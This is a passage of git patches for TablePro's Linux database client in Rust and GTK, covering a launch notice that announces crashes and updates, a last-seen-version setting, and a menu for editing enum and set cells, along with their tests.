+++ b/linux/crates/app/src/application/mod.rs
@@ -8,9 +8,9 @@ mod accelerators;
 mod app_actions;
 mod app_services;
 mod app_window_host;
-mod crash_notice;
 mod debug_info;
 mod imp;
+mod launch_notice;
 mod legal_section;
 mod mcp_bridge;
 #[cfg(test)]
@@ -106,7 +106,7 @@ impl TableProApplication {
         let host: Rc<dyn WindowHost> = Rc::new(AppWindowHost::new(self));
         self.imp().windows.insert(window.id(), window.clone());
         window.start(SessionWindowInit { services, host, launch });
-        self.hand_over_crash_report(&window);
+        self.hand_over_launch_notices(&window);
         window.present();
         Some(window.upcast())
     }
diff --git a/linux/crates/app/src/application/tests.rs b/linux/crates/app/src/application/tests.rs
index 77777854cc..8a4067ff99 100644
--- a/linux/crates/app/src/application/tests.rs
+++ b/linux/crates/app/src/application/tests.rs
@@ -804,6 +804,63 @@ fn new_window_action_opens_another_window() {
     assert_eq!(test.app.imp().windows.len(), 2);
 }
 
+fn released_version() -> String {
+    let xml = super::about_dialog::embedded_metainfo();
+    super::metainfo_release::newest_release(&xml)
+        .expect("the metainfo lists a release")
+        .to_owned()
+}
+
+fn said_at_launch(test: &TestApp) -> Vec<crate::ui::LaunchNotice> {
+    test.app.imp().launch_notices.borrow().clone()
+}
+
+#[gtk4::test]
+fn the_first_launch_after_an_older_release_says_so_once() {
+    let test = TestApp::started("LaunchUpdate");
+    let settings = test.services().settings.clone();
+    let released = released_version();
+    settings.set_last_seen_version("0.0.1").expect("store a version");
+
+    test.app.note_launch_of(&released);
+
+    assert_eq!(settings.last_seen_version(), released);
+    assert_eq!(
+        said_at_launch(&test),
+        [crate::ui::LaunchNotice::Update(released.clone())]
+    );
+    test.window();
+    assert!(said_at_launch(&test).is_empty(), "the first window did not take it");
+
+    test.app.note_launch_of(&released);
+
+    assert!(said_at_launch(&test).is_empty(), "the same release was said twice");
+}
+
+#[gtk4::test]
+fn a_launch_after_a_newer_release_says_nothing_and_keeps_its_version() {
+    let test = TestApp::started("LaunchDowngrade");
+    let settings = test.services().settings.clone();
+    settings.set_last_seen_version("99.0.0").expect("store a version");
+
+    test.app.note_launch_of(&released_version());
+
+    assert_eq!(settings.last_seen_version(), "99.0.0");
+    assert!(said_at_launch(&test).is_empty());
+}
+
+#[gtk4::test]
+fn a_first_launch_records_the_version_and_says_nothing() {
+    let test = TestApp::started("LaunchFirst");
+    let settings = test.services().settings.clone();
+    let released = released_version();
+
+    test.app.note_launch_of(&released);
+
+    assert_eq!(settings.last_seen_version(), released);
+    assert!(said_at_launch(&test).is_empty());
+}
+
 #[gtk4::test]
 fn a_window_before_startup_is_refused() {
     let test = TestApp::new("Early");
diff --git a/linux/crates/app/src/ui/mod.rs b/linux/crates/app/src/ui/mod.rs
index a2238b3571..081744b61c 100644
--- a/linux/crates/app/src/ui/mod.rs
+++ b/linux/crates/app/src/ui/mod.rs
@@ -55,5 +55,5 @@ pub(crate) mod write_confirmation;
 pub(crate) use menu_label::menu_label;
 pub(crate) use plain_toast::plain_toast;
 pub(crate) use preferences_dialog::PreferencesDialog;
-pub(crate) use session_window::{SessionWindow, SessionWindowInit, SessionWindowInput};
+pub(crate) use session_window::{LaunchNotice, SessionWindow, SessionWindowInit, SessionWindowInput};
 pub(crate) use structure_tab::review_dialog;
diff --git a/linux/crates/app/src/ui/session_window/crash_notice.rs b/linux/crates/app/src/ui/session_window/crash_notice.rs
deleted file mode 100644
index b35ec65431..0000000000
--- a/linux/crates/app/src/ui/session_window/crash_notice.rs
+++ /dev/null
@@ -1,159 +0,0 @@
-use std::path::{Path, PathBuf};
-
-use gtk4::prelude::*;
-use gtk4::subclass::prelude::*;
-use gtk4::{gio, glib};
-use libadwaita as adw;
-
-use super::SessionWindow;
-use crate::i18n::gettext;
-use crate::ui::file_reveal::reveal_failure_toast;
-
-/// The report the last run left when it crashed, said until the user or
-/// the toast's timeout dismisses it.
-pub(crate) struct CrashNotice {
-    report: PathBuf,
-    shown: Option<(adw::Toast, glib::SignalHandlerId)>,
-}
-
-impl SessionWindow {
-    pub(crate) fn announce_crash(&self, report: PathBuf) {
-        self.withdraw_crash_toast();
-        self.imp()
-            .crash_notice
-            .replace(Some(CrashNotice { report, shown: None }));
-        self.show_crash_notice();
-    }
-
-    /// A toast lives in the overlay of the page it was added to, so a
-    /// restored session, which goes from the picker through connecting
-    /// to its workspace, would take an unread one away. Each page shown
-    /// gets it again until it is dismissed.
-    pub(super) fn show_crash_notice(&self) {
-        self.withdraw_crash_toast();
-        let Some(report) = self
-            .imp()
-            .crash_notice
-            .borrow()
-            .as_ref()
-            .map(|notice| notice.report.clone())
-        else {
-            return;
-        };
-        let toast = adw::Toast::builder()
-            .title(gettext("TablePro quit unexpectedly last time"))
-            .button_label(gettext("Show Report"))
-            .use_markup(false)
-            .build();
-        let window = self.downgrade();
-        toast.connect_button_clicked(move |_| {
-            if let Some(window) = window.upgrade() {
-                window.reveal_crash_report(&report);
-            }
-        });
-        let window = self.downgrade();
-        let dismissed = toast.connect_dismissed(move |_| {
-            if let Some(window) = window.upgrade() {
-                window.imp().crash_notice.take();
-            }
-        });
-        if let Some(notice) = self.imp().crash_notice.borrow_mut().as_mut() {
-            notice.shown = Some((toast.clone(), dismissed));
-        }
-        self.add_toast(toast);
-    }
-
-    /// Takes the toast off the page it is on without counting that as
-    /// the user dismissing it. An overlay that goes away dismisses its
-    /// toasts, so this runs before the old page can.
-    fn withdraw_crash_toast(&self) {
-        let shown = self
-            .imp()
-            .crash_notice
-            .borrow_mut()
-            .as_mut()
-            .and_then(|notice| notice.shown.take());
-        if let Some((toast, dismissed)) = shown {
-            toast.disconnect(dismissed);
-            toast.dismiss();
-        }
-    }
-
-    fn reveal_crash_report(&self, report: &Path) {
-        let Some(state) = self.imp().state.get() else {
-            return;
-        };
-        let revealing = state
-            .services
-            .file_revealer
-            .reveal(gio::File::for_path(report), Some(self.clone().upcast()));
-        let window = self.downgrade();
-        glib::spawn_future_local(async move {
-            let revealed = revealing.await;
-            if let (Some(toast), Some(window)) = (reveal_failure_toast(&revealed), window.upgrade()) {
-                window.add_toast(toast);
-            }
-        });
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use std::rc::Rc;
-
-    use super::super::SessionWindowInput;
-    use super::super::tests::{Script, TestWindow, WAIT};
-    use super::*;
-    use crate::test_support::{descendants, drain_main_context, wait_until};
-    use crate::ui::file_reveal::RecordingRevealer;
-
-    const TITLE: &str = "TablePro quit unexpectedly last time";
-
-    fn said(window: &SessionWindow) -> usize {
-        window
-            .imp()
-            .toasts
-            .borrow()
-            .iter()
-            .filter(|toast| toast.title().as_deref() == Some(TITLE))
-            .count()
-    }
-
-    fn show_report(window: &SessionWindow) -> Option<gtk4::Button> {
-        descendants(window)
-            .into_iter()
-            .filter_map(|widget| widget.downcast::<gtk4::Button>().ok())
-            .find(|button| button.label().as_deref() == Some("Show Report") && button.is_mapped())
-    }
-
-    #[gtk4::test]
-    fn a_crash_report_is_said_on_each_page_until_the_user_opens_it() {
-        let revealer = Rc::new(RecordingRevealer::succeeding());
-        let test = TestWindow::with_script(
-            "CrashNotice",
-            Script {
-                revealer: Some(revealer.clone()),
-                ..Script::default()
-            },
-        );
-        let report = test.dir().join("crash-20261017T000000Z-1.txt");
-
-        test.window.announce_crash(report.clone());
-        assert_eq!(said(&test.window), 1);
-
-        test.window
-            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
-        test.wait_for_page("workspace");
-        assert!(said(&test.window) > 1, "the toast stayed on the picker");
-        wait_until(WAIT, || show_report(&test.window).is_some()).expect("the toast on the workspace");
-
-        show_report(&test.window).expect("the button").emit_clicked();
-        drain_main_context();
-
-        assert_eq!(revealer.revealed(), [report]);
-        assert!(test.window.imp().crash_notice.borrow().is_none());
-        let before = said(&test.window);
-        test.window.show_crash_notice();
-        assert_eq!(said(&test.window), before, "a dismissed notice came back");
-    }
-}
diff --git a/linux/crates/app/src/ui/session_window/imp.rs b/linux/crates/app/src/ui/session_window/imp.rs
index ff2ce2d8b2..42d4bd21d8 100644
--- a/linux/crates/app/src/ui/session_window/imp.rs
+++ b/linux/crates/app/src/ui/session_window/imp.rs
@@ -12,7 +12,7 @@ use tablepro_session::{ConnectSource, SessionKey};
 use uuid::Uuid;
 
 use super::connections::LevelSave;
-use super::crash_notice::CrashNotice;
+use super::launch_notice::Said;
 use super::locate_file::LocateChooser;
 use super::picker_page::PickerPage;
 use super::session_page::{FailedConnect, OpenSession, PendingConnect, SessionPage};
@@ -88,8 +88,7 @@ pub struct SessionWindow {
     /// looked for.
     pub(super) dialog_opening: Cell<bool>,
     pub(super) shut_down: Cell<bool>,
-    /// The crash the last run ended in, until its toast is dismissed.
-    pub(super) crash_notice: RefCell<Option<CrashNotice>>,
+    pub(super) launch_notices: RefCell<Vec<Said>>,
     /// Every toast shown, which the overlay does not list.
     #[cfg(test)]
     pub(super) toasts: RefCell<Vec<adw::Toast>>,
diff --git a/linux/crates/app/src/ui/session_window/launch_notice.rs b/linux/crates/app/src/ui/session_window/launch_notice.rs
new file mode 100644
index 0000000000..1ea3cfcbf9
--- /dev/null
+++ b/linux/crates/app/src/ui/session_window/launch_notice.rs
@@ -0,0 +1,265 @@
+use std::path::{Path, PathBuf};
+
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{gio, glib};
+use libadwaita as adw;
+
+use super::SessionWindow;
+use crate::i18n::{gettext, gettext_f};
+use crate::ui::file_reveal::reveal_failure_toast;
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub(crate) enum LaunchNotice {
+    Crash(PathBuf),
+    Update(String),
+}
+
+impl LaunchNotice {
+    fn same_kind(&self, other: &Self) -> bool {
+        std::mem::discriminant(self) == std::mem::discriminant(other)
+    }
+}
+
+type ShownToast = (adw::Toast, glib::SignalHandlerId);
+
+pub(super) struct Said {
+    notice: LaunchNotice,
+    toast: Option<ShownToast>,
+}
+
+impl SessionWindow {
+    // A later notice replaces the earlier one of its kind and leaves the other kind's toast alone.
+    pub(crate) fn announce(&self, notice: LaunchNotice) {
+        let replaced = {
+            let mut notices = self.imp().launch_notices.borrow_mut();
+            let at = notices.iter().position(|said| said.notice.same_kind(&notice));
+            at.and_then(|at| notices.remove(at).toast)
+        };
+        if let Some(toast) = replaced {
+            withdraw(toast);
+        }
+        let toast = self.say(&notice);
+        self.imp().launch_notices.borrow_mut().push(Said {
+            notice,
+            toast: Some(toast),
+        });
+    }
+
+    // A toast lives in the overlay of the page it was added to, and a restored session goes from
+    // the picker through connecting to its workspace, so each page shown says what is unread.
+    pub(super) fn show_launch_notices(&self) {
+        let (shown, notices): (Vec<_>, Vec<_>) = self
+            .imp()
+            .launch_notices
+            .borrow_mut()
+            .iter_mut()
+            .map(|said| (said.toast.take(), said.notice.clone()))
+            .unzip();
+        shown.into_iter().flatten().for_each(withdraw);
+        for notice in notices {
+            let toast = self.say(&notice);
+            if let Some(said) = self
+                .imp()
+                .launch_notices
+                .borrow_mut()
+                .iter_mut()
+                .find(|said| said.notice == notice)
+            {
+                said.toast = Some(toast);
+            }
+        }
+    }
+
+    fn say(&self, notice: &LaunchNotice) -> ShownToast {
+        let toast = match notice {
+            LaunchNotice::Crash(report) => {
+                let toast = adw::Toast::builder()
+                    .title(gettext("TablePro quit unexpectedly last time"))
+                    .button_label(gettext("Show Report"))
+                    .use_markup(false)
+                    .build();
+                let window = self.downgrade();
+                let report = report.clone();
+                toast.connect_button_clicked(move |_| {
+                    if let Some(window) = window.upgrade() {
+                        window.reveal_crash_report(&report);
+                    }
+                });
+                toast
+            }
+            LaunchNotice::Update(version) => adw::Toast::builder()
+                // Translators: {version} is the TablePro version this launch updated to, such as 0.2.0.
+                .title(gettext_f("TablePro was updated to {version}", &[("version", version)]))
+                .button_label(gettext("What’s New"))
+                .action_name("app.about")
+                .use_markup(false)
+                .build(),
+        };
+        let window = self.downgrade();
+        let notice = notice.clone();
+        let dismissed = toast.connect_dismissed(move |_| {
+            if let Some(window) = window.upgrade() {
+                window
+                    .imp()
+                    .launch_notices
+                    .borrow_mut()
+                    .retain(|said| said.notice != notice);
+            }
+        });
+        self.add_toast(toast.clone());
+        (toast, dismissed)
+    }
+
+    fn reveal_crash_report(&self, report: &Path) {
+        let Some(state) = self.imp().state.get() else {
+            return;
+        };
+        let revealing = state
+            .services
+            .file_revealer
+            .reveal(gio::File::for_path(report), Some(self.clone().upcast()));
+        let window = self.downgrade();
+        glib::spawn_future_local(async move {
+            let revealed = revealing.await;
+            if let (Some(toast), Some(window)) = (reveal_failure_toast(&revealed), window.upgrade()) {
+                window.add_toast(toast);
+            }
+        });
+    }
+}
+
+// An overlay that goes away dismisses its toasts, which must not count as the user dismissing one.
+fn withdraw((toast, dismissed): ShownToast) {
+    toast.disconnect(dismissed);
+    toast.dismiss();
+}
+
+#[cfg(test)]
+mod tests {
+    use std::rc::Rc;
+
+    use libadwaita::prelude::*;
+
+    use super::super::SessionWindowInput;
+    use super::super::tests::{Script, TestWindow, WAIT};
+    use super::*;
+    use crate::test_support::{descendants, drain_main_context, wait_until};
+    use crate::ui::file_reveal::RecordingRevealer;
+
+    const CRASHED: &str = "TablePro quit unexpectedly last time";
+    const UPDATED: &str = "TablePro was updated to 2.0";
+
+    fn said(window: &SessionWindow, title: &str) -> usize {
+        window
+            .imp()
+            .toasts
+            .borrow()
+            .iter()
+            .filter(|toast| toast.title().as_deref() == Some(title))
+            .count()
+    }
+
+    fn mapped_button(window: &SessionWindow, label: &str) -> Option<gtk4::Button> {
+        descendants(window)
+            .into_iter()
+            .filter_map(|widget| widget.downcast::<gtk4::Button>().ok())
+            .find(|button| button.label().as_deref() == Some(label) && button.is_mapped())
+    }
+
+    #[gtk4::test]
+    fn a_crash_report_is_said_on_each_page_until_the_user_opens_it() {
+        let revealer = Rc::new(RecordingRevealer::succeeding());
+        let test = TestWindow::with_script(
+            "CrashNotice",
+            Script {
+                revealer: Some(revealer.clone()),
+                ..Script::default()
+            },
+        );
+        let report = test.dir().join("crash-20261017T000000Z-1.txt");
+
+        test.window.announce(LaunchNotice::Crash(report.clone()));
+        assert_eq!(said(&test.window, CRASHED), 1);
+
+        test.window
+            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+        test.wait_for_page("workspace");
+        assert!(said(&test.window, CRASHED) > 1, "the toast stayed on the picker");
+        wait_until(WAIT, || mapped_button(&test.window, "Show Report").is_some()).expect("the toast on the workspace");
+
+        mapped_button(&test.window, "Show Report")
+            .expect("the button")
+            .emit_clicked();
+        drain_main_context();
+
+        assert_eq!(revealer.revealed(), [report]);
+        assert!(test.window.imp().launch_notices.borrow().is_empty());
+        let before = said(&test.window, CRASHED);
+        test.window.show_launch_notices();
+        assert_eq!(said(&test.window, CRASHED), before, "a dismissed notice came back");
+    }
+
+    #[gtk4::test]
+    fn an_update_and_a_crash_are_each_said_on_each_page() {
+        let test = TestWindow::picker("UpdateBesideCrash");
+        let report = test.dir().join("crash-20261017T000000Z-1.txt");
+
+        test.window.announce(LaunchNotice::Update("2.0".to_owned()));
+        test.window.announce(LaunchNotice::Crash(report));
+        assert_eq!(said(&test.window, UPDATED), 1);
+        assert_eq!(said(&test.window, CRASHED), 1);
+
+        test.window
+            .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+        test.wait_for_page("workspace");
+
+        assert!(said(&test.window, UPDATED) > 1, "the update toast stayed on the picker");
+        assert!(said(&test.window, CRASHED) > 1, "the crash toast stayed on the picker");
+        assert_eq!(test.window.imp().launch_notices.borrow().len(), 2);
+    }
+
+    #[gtk4::test]
+    fn a_second_notice_of_a_kind_replaces_only_its_own_toast() {
+        let test = TestWindow::picker("UpdateReplaced");
+        let report = test.dir().join("crash-20261017T000000Z-1.txt");
+        test.window.announce(LaunchNotice::Crash(report.clone()));
+        test.window.announce(LaunchNotice::Update("1.0".to_owned()));
+
+        test.window.announce(LaunchNotice::Update("2.0".to_owned()));
+
+        let notices: Vec<LaunchNotice> = test
+            .window
+            .imp()
+            .launch_notices
+            .borrow()
+            .iter()
+            .map(|said| said.notice.clone())
+            .collect();
+        assert_eq!(
+            notices,
+            [LaunchNotice::Crash(report), LaunchNotice::Update("2.0".to_owned())]
+        );
+        assert_eq!(said(&test.window, CRASHED), 1, "the crash toast was said again");
+    }
+
+    #[gtk4::test]
+    fn whats_new_opens_the_about_dialog_and_the_notice_stays_read() {
+        let test = TestWindow::picker("UpdateWhatsNew");
+        test.window.announce(LaunchNotice::Update("2.0".to_owned()));
+        wait_until(WAIT, || mapped_button(&test.window, "What’s New").is_some()).expect("the toast's button");
+
+        mapped_button(&test.window, "What’s New")
+            .expect("the button")
+            .emit_clicked();
+        drain_main_context();
+
+        let dialog = test.window.visible_dialog().expect("a dialog over the window");
+        assert!(dialog.is::<adw::AboutDialog>(), "{}", dialog.type_().name());
+        assert!(test.window.imp().launch_notices.borrow().is_empty());
+        dialog.force_close();
+        let before = said(&test.window, UPDATED);
+        test.window.show_launch_notices();
+        assert_eq!(said(&test.window, UPDATED), before, "a read notice came back");
+    }
+}
diff --git a/linux/crates/app/src/ui/session_window/mod.rs b/linux/crates/app/src/ui/session_window/mod.rs
index 6ee2823d74..1f7865151c 100644
--- a/linux/crates/app/src/ui/session_window/mod.rs
+++ b/linux/crates/app/src/ui/session_window/mod.rs
@@ -14,9 +14,9 @@ mod connect_failure_view;
 mod connect_flow;
 mod connecting_page;
 mod connections;
-mod crash_notice;
 mod file_location_dialog;
 mod imp;
+mod launch_notice;
 mod locate_file;
 mod notification_request;
 mod notification_sink;
@@ -61,6 +61,7 @@ pub(super) use self::connect_failed_page::ConnectFailedPage;
 use self::connect_failure_view::ConnectFailureView;
 pub(super) use self::connecting_page::ConnectingPage;
 use self::file_location_dialog::FileCheck;
+pub(crate) use self::launch_notice::LaunchNotice;
 pub(super) use self::picker_page::PickerPage;
 use self::resolve_file_identity::{FileResolveError, FileTarget, ResolvedFile, resolve_file_blocking};
 use self::session_page::{FailedConnect, OpenSession, PendingConnect, SessionPage, source_key};
@@ -616,7 +617,7 @@ impl SessionWindow {
             imp.opened_for_file.set(false);
         }
         imp.page_toasts.replace(toasts);
-        self.show_crash_notice();
+        self.show_launch_notices();
         // A Cancel or Retry left as the default would take Enter on a
         // page that no longer shows it.
         self.set_default_widget(None::<&gtk::Widget>);
diff --git a/linux/crates/storage/src/settings/keys.rs b/linux/crates/storage/src/settings/keys.rs
index 6cdfc3cbfe..9dea2b0ba7 100644
--- a/linux/crates/storage/src/settings/keys.rs
+++ b/linux/crates/storage/src/settings/keys.rs
@@ -9,6 +9,7 @@ pub const STYLE_SCHEME: &str = "style-scheme";
 pub const VIM_KEYBINDINGS: &str = "vim-keybindings";
 pub const CONNECT_DIALOG_DRIVER: &str = "connect-dialog-driver";
 pub const RESTORE_SESSION: &str = "restore-session";
+pub const LAST_SEEN_VERSION: &str = "last-seen-version";
 pub const MCP_SERVER_ENABLED: &str = "mcp-server-enabled";
 pub const MCP_SERVER_PORT: &str = "mcp-server-port";
 pub const AI_PROVIDER: &str = "ai-provider";
diff --git a/linux/crates/storage/src/settings/mod.rs b/linux/crates/storage/src/settings/mod.rs
index b4479eb70d..ab020b8b7f 100644
--- a/linux/crates/storage/src/settings/mod.rs
+++ b/linux/crates/storage/src/settings/mod.rs
@@ -165,6 +165,14 @@ impl AppSettings {
         self.set_boolean(keys::RESTORE_SESSION, restore)
     }
 
+    pub fn last_seen_version(&self) -> String {
+        self.settings.string(keys::LAST_SEEN_VERSION).into()
+    }
+
+    pub fn set_last_seen_version(&self, version: &str) -> Result<(), SettingsError> {
+        self.set_string(keys::LAST_SEEN_VERSION, version)
+    }
+
     /// Whether the MCP server runs. Off until the user turns it on.
     pub fn mcp_server_enabled(&self) -> bool {
         self.settings.boolean(keys::MCP_SERVER_ENABLED)
diff --git a/linux/crates/storage/tests/settings.rs b/linux/crates/storage/tests/settings.rs
index 26d4a0eccf..1051e02c71 100644
--- a/linux/crates/storage/tests/settings.rs
+++ b/linux/crates/storage/tests/settings.rs
@@ -130,6 +130,17 @@ fn restore_session_round_trip() -> TestResult {
     Ok(())
 }
 
+#[test]
+fn last_seen_version_starts_empty_and_round_trips() -> TestResult {
+    let fixture = Fixture::new()?;
+    assert_eq!(fixture.settings.last_seen_version(), "");
+
+    fixture.settings.set_last_seen_version("0.2.0")?;
+
+    assert_eq!(fixture.settings.last_seen_version(), "0.2.0");
+    Ok(())
+}
+
 #[test]
 fn confirm_bulk_delete_round_trip() -> TestResult {
     let fixture = Fixture::new()?;
diff --git a/linux/data/app.tablepro.TablePro.gschema.xml.in b/linux/data/app.tablepro.TablePro.gschema.xml.in
index 4a1f3ae70f..e1d082c737 100644
--- a/linux/data/app.tablepro.TablePro.gschema.xml.in
+++ b/linux/data/app.tablepro.TablePro.gschema.xml.in
@@ -115,6 +115,12 @@
       <description>Whether the connections open when TablePro quit are opened again at the next launch.</description>
     </key>
 
+    <key name="last-seen-version" type="s">
+      <default>''</default>
+      <summary>Newest version launched</summary>
+      <description>The newest TablePro release that has run, so the first launch of a later one can point to its release notes. Empty before the first launch.</description>
+    </key>
+
     <key name="mcp-server-enabled" type="b">
       <default>false</default>
       <summary>Run the MCP server</summary>
diff --git a/linux/docs/storage.md b/linux/docs/storage.md
index 51dac77c4e..e90415956b 100644
--- a/linux/docs/storage.md
+++ b/linux/docs/storage.md
@@ -271,7 +271,7 @@ Turning the setting off keeps what is already there; Clear removes it.
 
 ## App preferences with `gio::Settings`
 
-`data/app.tablepro.TablePro.gschema.xml.in` holds every app-wide preference and the window geometry. Meson installs it to `$datadir/glib-2.0/schemas` and compiles it; see [ADR 0007](decisions/0007-gsettings-preferences.md).
+`data/app.tablepro.TablePro.gschema.xml.in` holds every app-wide preference, the window geometry and the newest release that has run. Meson installs it to `$datadir/glib-2.0/schemas` and compiles it; see [ADR 0007](decisions/0007-gsettings-preferences.md).
 
 The schema id is the application id and the path follows it: `app.tablepro.TablePro` at `/app/tablepro/TablePro/` for an installed build, `app.tablepro.TablePro.Devel` at `/app/tablepro/TablePro/Devel/` for a development one. Neither reads the other's settings.
 
@@ -283,6 +283,7 @@ The schema id is the application id and the path follows it: `app.tablepro.Table
 | `default-page-size` | `u` | `1000` | 100 to 100000 |
 | `confirm-bulk-delete` | `b` | `true` | |
 | `restore-session` | `b` | `true` | |
+| `last-seen-version` | `s` | empty | |
 | `mcp-server-enabled` | `b` | `false` | |
 | `mcp-server-port` | `u` | `23508` | 1024 to 65535 |
 | `ai-provider` | enum | `none` | `none`, `anthropic`, `openai`, `openai-compatible` |
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index f56ea2ca6a..4c1e116d14 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -5,9 +5,9 @@ crates/app/src/application/accelerators.rs
 crates/app/src/application/app_actions.rs
 crates/app/src/application/app_services.rs
 crates/app/src/application/app_window_host.rs
-crates/app/src/application/crash_notice.rs
 crates/app/src/application/debug_info.rs
 crates/app/src/application/imp.rs
+crates/app/src/application/launch_notice.rs
 crates/app/src/application/legal_section.rs
 crates/app/src/application/mcp_bridge.rs
 crates/app/src/application/metainfo_release.rs
@@ -461,9 +461,9 @@ crates/app/src/ui/session_window/connect_failure_view.rs
 crates/app/src/ui/session_window/connect_flow.rs
 crates/app/src/ui/session_window/connecting_page.rs
 crates/app/src/ui/session_window/connections.rs
-crates/app/src/ui/session_window/crash_notice.rs
 crates/app/src/ui/session_window/file_location_dialog.rs
 crates/app/src/ui/session_window/imp.rs
+crates/app/src/ui/session_window/launch_notice.rs
 crates/app/src/ui/session_window/locate_file.rs
 crates/app/src/ui/session_window/mod.rs
 crates/app/src/ui/session_window/notification_request.rs

From b97715ed571f220920acf6c839fd2c7511fd81cb Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 05:25:48 +0100
Subject: [PATCH 36/44] feat(linux-grid): pick an enum or set cell's labels
 from a menu (#3880)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/changelog.d/3880.added.md               |   1 +
 linux/changelog.d/3880.fixed.1.md             |   1 +
 linux/changelog.d/3880.fixed.md               |   1 +
 .../app/src/services/grid/cell_editor_kind.rs |  57 +++-
 .../app/src/ui/data_grid/edit/actions.rs      |   7 +-
 .../app/src/ui/data_grid/edit/cell_editor.rs  |  83 ++++--
 .../app/src/ui/data_grid/edit/choice_menu.rs  | 264 +++++++++++++++++
 linux/crates/app/src/ui/data_grid/edit/mod.rs |   6 +-
 .../app/src/ui/data_grid/edit/row_edits.rs    |   5 +-
 .../src/ui/data_grid/edit/tests/choices.rs    | 279 ++++++++++++++++++
 .../app/src/ui/data_grid/edit/tests/mod.rs    |   1 +
 .../crates/app/src/ui/data_grid/grid_menu.rs  |  29 +-
 linux/crates/app/src/ui/data_grid/imp.rs      |   3 +
 .../app/src/ui/data_grid/row_detail/imp.rs    |   2 +
 .../app/src/ui/data_grid/row_detail/mod.rs    |   1 +
 .../app/src/ui/data_grid/row_detail/tests.rs  |  44 +++
 .../ui/data_grid/row_detail/value_editor.rs   |  44 ++-
 .../crates/app/src/ui/data_grid/selection.rs  |  30 +-
 .../app/src/ui/data_grid/tests/menus.rs       |  18 ++
 linux/crates/core/src/column/kind.rs          |  17 +-
 linux/crates/core/src/edit/parse_edit_text.rs |  28 ++
 linux/data/resources/ui/row-detail-pane.ui    |  13 +
 linux/po/POTFILES.in                          |   2 +
 23 files changed, 893 insertions(+), 43 deletions(-)
 create mode 100644 linux/changelog.d/3880.added.md
 create mode 100644 linux/changelog.d/3880.fixed.1.md
 create mode 100644 linux/changelog.d/3880.fixed.md
 create mode 100644 linux/crates/app/src/ui/data_grid/edit/choice_menu.rs
 create mode 100644 linux/crates/app/src/ui/data_grid/edit/tests/choices.rs

diff --git a/linux/changelog.d/3880.added.md b/linux/changelog.d/3880.added.md
new file mode 100644
index 0000000000..7f4b0f104e
--- /dev/null
+++ b/linux/changelog.d/3880.added.md
@@ -0,0 +1 @@
+Enum and set cells pick from a menu of the column's labels, in the grid and in Row Details.
diff --git a/linux/changelog.d/3880.fixed.1.md b/linux/changelog.d/3880.fixed.1.md
new file mode 100644
index 0000000000..bb69738598
--- /dev/null
+++ b/linux/changelog.d/3880.fixed.1.md
@@ -0,0 +1 @@
+Closing a cell's menu moved the keyboard focus off the grid.
diff --git a/linux/changelog.d/3880.fixed.md b/linux/changelog.d/3880.fixed.md
new file mode 100644
index 0000000000..836050baaa
--- /dev/null
+++ b/linux/changelog.d/3880.fixed.md
@@ -0,0 +1 @@
+Clearing a MySQL SET cell wrote NULL instead of the empty set, and Set to Empty was not offered.
diff --git a/linux/crates/app/src/services/grid/cell_editor_kind.rs b/linux/crates/app/src/services/grid/cell_editor_kind.rs
index 7788d2ef73..9f2796dda8 100644
--- a/linux/crates/app/src/services/grid/cell_editor_kind.rs
+++ b/linux/crates/app/src/services/grid/cell_editor_kind.rs
@@ -11,6 +11,10 @@ pub const INLINE_EDIT_MAX_BYTES: usize = 4096;
 /// details editor lays out every line on the GTK thread and would stall.
 pub const EDIT_MAX_BYTES: usize = 1_000_000;
 
+/// Past this many labels an enum edits as text: a menu lays out a row
+/// per label on the GTK thread, measured at half a second for 400.
+pub const CHOICE_MAX_LABELS: usize = 100;
+
 /// The editor a cell opens with.
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum CellEditorKind {
@@ -19,6 +23,8 @@ pub enum CellEditorKind {
         purpose: TextPurpose,
     },
     Toggle,
+    /// A menu of the column's labels.
+    Choice,
     Details(DetailsEditor),
     ReadOnly(CellLock),
 }
@@ -52,6 +58,7 @@ impl CellEditorKind {
         };
         match kind {
             ColumnKind::Bool(_) => Self::Toggle,
+            ColumnKind::Enum { labels, multiple } if picks_from(labels, *multiple) => Self::Choice,
             ColumnKind::Json { .. } => Self::Details(DetailsEditor::Json),
             ColumnKind::Xml => Self::Details(DetailsEditor::Xml),
             ColumnKind::Date => Self::Details(DetailsEditor::Date),
@@ -93,6 +100,13 @@ impl CellEditorKind {
     }
 }
 
+/// Whether a menu can offer an enum's labels. Without labels from the
+/// catalog there is nothing to offer, and a set with an empty label reads
+/// the same with that member and without it.
+fn picks_from(labels: &[String], multiple: bool) -> bool {
+    (1..=CHOICE_MAX_LABELS).contains(&labels.len()) && !(multiple && labels.iter().any(String::is_empty))
+}
+
 #[cfg(test)]
 mod tests {
     use tablepro_core::column::{
@@ -101,7 +115,7 @@ mod tests {
     };
     use tablepro_core::edit::{EditText, ReadOnlyReason};
 
-    use super::{CellEditorKind, DetailsEditor, INLINE_EDIT_MAX_BYTES, TextPurpose};
+    use super::{CHOICE_MAX_LABELS, CellEditorKind, DetailsEditor, INLINE_EDIT_MAX_BYTES, TextPurpose};
     use crate::services::grid::CellLock;
     use crate::services::grid::test_columns::grid_of_kind;
 
@@ -170,7 +184,7 @@ mod tests {
             ),
             (
                 ColumnKind::Enum {
-                    labels: vec!["a".to_owned()],
+                    labels: Vec::new(),
                     multiple: false,
                 },
                 free(false),
@@ -291,4 +305,43 @@ mod tests {
             CellEditorKind::ReadOnly(CellLock::Value(ReadOnlyReason::Bytes))
         );
     }
+
+    #[test]
+    fn an_enum_or_set_with_labels_opens_a_menu_of_them() {
+        for multiple in [false, true] {
+            let labelled = ColumnKind::Enum {
+                labels: vec!["a".to_owned(), "b".to_owned()],
+                multiple,
+            };
+            assert_eq!(
+                CellEditorKind::for_cell(&grid_of_kind("e", labelled), Ok(())),
+                CellEditorKind::Choice
+            );
+        }
+        let many = ColumnKind::Enum {
